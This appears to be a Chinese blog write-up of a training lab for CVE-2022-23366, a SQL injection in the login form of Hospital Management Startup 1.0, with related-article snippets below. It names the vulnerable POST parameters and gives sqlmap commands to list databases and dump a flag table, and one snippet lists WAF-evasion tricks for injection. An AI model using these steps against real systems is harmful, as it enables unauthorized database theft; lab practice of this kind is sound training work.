【春秋云境】CVE-2022-23366靶场记录

最新推荐文章于 2024-07-09 19:41:40 发布

在人间凑日子

最新推荐文章于 2024-07-09 19:41:40 发布

阅读量1.1k

点赞数 1

分类专栏：春秋云镜文章标签： java 前端开发语言

本文链接：https://blog.csdn.net/2301_78019493/article/details/130770753

版权

春秋云镜专栏收录该内容

8 篇文章 0 订阅

订阅专栏

靶场介绍

Hospital Management Startup 1.0 sqli

开启靶场

POC

POST /doctorlogin.php

loginid=1&password=1&submit=Login

解题步骤

注入点在登陆处，登录用burp抓包放到sqlmap跑

通过sqlmap自动化工具测试

Sqlmap -r “目标”

查看所有数据库

Sqlmap -r “目标” --dbs

查看ctf数据库中的表

Sqlmap -r “目标” -D ctf --tables

读取flag中的数据

Sqlmap -r “目标” -D ctf -T flag --dump

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

在人间凑日子

关注关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
【春秋云境】CVE-2022-23366靶场记录

注入点在登陆处，登录用burp抓包放到sqlmap跑。
复制链接

扫一扫

专栏目录

sql注入绕过与sqlmap绕过使用总结

jklbnm12的博客

08-12

911

前言最近挖edusrc的时候遇到有注入点但是有waf绕不过，头疼。可以看到还是phpstudy建站的，太熟悉了这个，不知道这个什么waf各位师傅知道的可以评论一下，所以写这篇文章是供各位师傅在实战中遇到waf可以看一看，能给各位师傅一点帮助，所以就想着写一篇。还有一个很有可能是有注入点的但是，用了很多注入语句都不行，不知道怎么回事后面再去慢慢研究。正文手动绕过一：空格被过滤当空被过滤掉的时候（也就是被删掉的意思）问你就可以使用编码或者注释进行绕过 %20,%09,/**/ &n

HMS:医院管理系统

03-11

HMS:医院管理系统

参与评论您还未登录，请先登录后发表或查看评论

春秋云境：CVE-2022-23366(Hospital Management Startup 1.0 sqli)

m0_65712192的博客

07-24

697

Hospital Management Startup 1.0 sqli（登录/后台）

HMS v1.0 SQL注入(CVE-2022-23366)

weixin_68999845的博客

08-16

1215

kabirkhyrul Hospital Managment System 存在SQL注入漏洞，该漏洞源于基于数据库的应用缺少对外部输入SQL语句的验证。POST 请求漏洞点在doctorlogin.php,POST body中，loginid和password参数存在字符型注入，单引号闭合，后跟明显的sql注入语句。本次使用在线靶场i春秋作为漏洞复现环境：https://yunjing.ichunqiu.com/cve/detail/740?·漏洞类型：sql注入漏洞。·漏洞威胁等级：超危。

[春秋云镜]CVE-2022-23366

niubi707的博客

11-29

1147

Hospital Management Startup 1.0 sqli 春秋靶场

【春秋云境】CVE-2022-23366靶场WP和CVE-2022-23316靶场WP

果粒程

12-04

1078

【春秋云境】CVE-2022-23366靶场WP和CVE-2022-23316靶场WP

春秋云境 CVE-2022-4230 夺旗

05-02

介绍如何利用 CVE-2022-4230 的 WP Statistics WordPress 插件13.2.9 漏洞利用。漏洞描述：WP Statistics WordPress 插件13.2.9之前的版本不会转义参数，这可能允许经过身份验证的用户执行 SQL 注入攻击。默认...

CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC

08-10

CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version 3.1.1版本 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： ...

sudo-1.9.12p1，解决cve-2022-43995

11-08

"sudo-1.9.12p1"是sudo的一个特定版本，该版本发布是为了修复一个重要的安全漏洞：CVE-2022-43995。 **sudo的基础知识** sudo的核心功能在于提供一种受控的权限提升机制，以增强系统的安全性。它通过sudoers文件来...

CVE-2022-22963 复现Demo

04-14

CVE-2022-22963 复现Demo，A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application ...

春秋云境：CVE-2022-23366

一只爱吃橙子的羊

12-06

693

Hospital Management Startup 1.0 sqli

春秋云镜 CVE-2022-23366

qq_22002773的博客

07-12

264

春秋云镜 CVE-2022-23366

【春秋云镜】CVE-2022-23366 Hospital Management Startup 1.0 sqli 解题思路

Dark-Specter的博客

12-15

856

到这一步，我们可以知道目标网站的登录页面，提交表单的时候有注入点，然后接下来用sqlmap直接脱库就可以，以下给大家整理出来的常用的命令，因为时间盲注这块第一次爆库是一个漫长的等待过程（如果目标数据库多的话），我都是边看美女边等待。抓到的包保存到可以找到的路径，命名为xxx.txt（名字随意），以我这边为例，因为我这sqlmap是在wsl kali环境里，我就直接命名CVE-2022-23366.txt保存至我的桌面（保存下来的操作就不细细展开截图了）爆字段里的内容，拿到flag。2、sqlmap脱库。

Hospital Management Startup 1.0 SQL 注入漏洞（CVE-2022-23366）

最新发布

Flag少侠的博客

07-09

8720

打开靶场网上搜索了一下关于这个 CVE 的详细信息进入靶场后页面长这样在导航栏 LOG IN 中发现下拉导航栏有与目标漏洞文件关联的选项随便输入数值，登录时使用 BurpSuite 开启拦截数据包复制数据包的值到 txt 文件中使用 SQLMap 开跑。

CVE-2022-23366 春秋云境.com

qq_42036164的博客

01-12

322

CVE-2022-23366

【春秋云镜题解-免费空间】

asmartrman的博客

03-02

358

春秋云镜题解-更新中

春秋云镜(二)

wanan的博客

02-19

413

春秋云镜(二)

春秋云镜靶机

niqiu320的博客

04-10

1477

Spring framework 是Spring 里面的一个基础开源框架，其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日，VMware Tanzu发布漏洞报告，Spring Framework存在远程代码执行漏洞，在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。WSO2文件上传漏洞（CVE-2022-29464）是Orange Tsai发现的WSO2上的严重漏洞。

春秋云境CVE-2022-29464

09-05

春秋云境CVE-2022-29464是指WSO2 API Manager 文件上传漏洞的CVE编号。这个漏洞允许攻击者通过上传恶意文件来执行任意代码，进而导致服务器受到攻击。根据引用，在GitHub上有一个项目，其中包含了与该漏洞相关的利用代码和解释。引用提供了一个具体的漏洞利用脚本的地址。如果您想了解更多关于该漏洞的细节和分析，可以参考引用中提到的文章。123 #### 引用[.reference_title] - *1* *3* [【春秋云境】CVE-2022-29464](https://blog.csdn.net/m0_49025459/article/details/130400369)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [春秋云境靶场 WSO2文件上传漏洞（CVE-2022-29464）](https://blog.csdn.net/qq_52923396/article/details/131832217)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]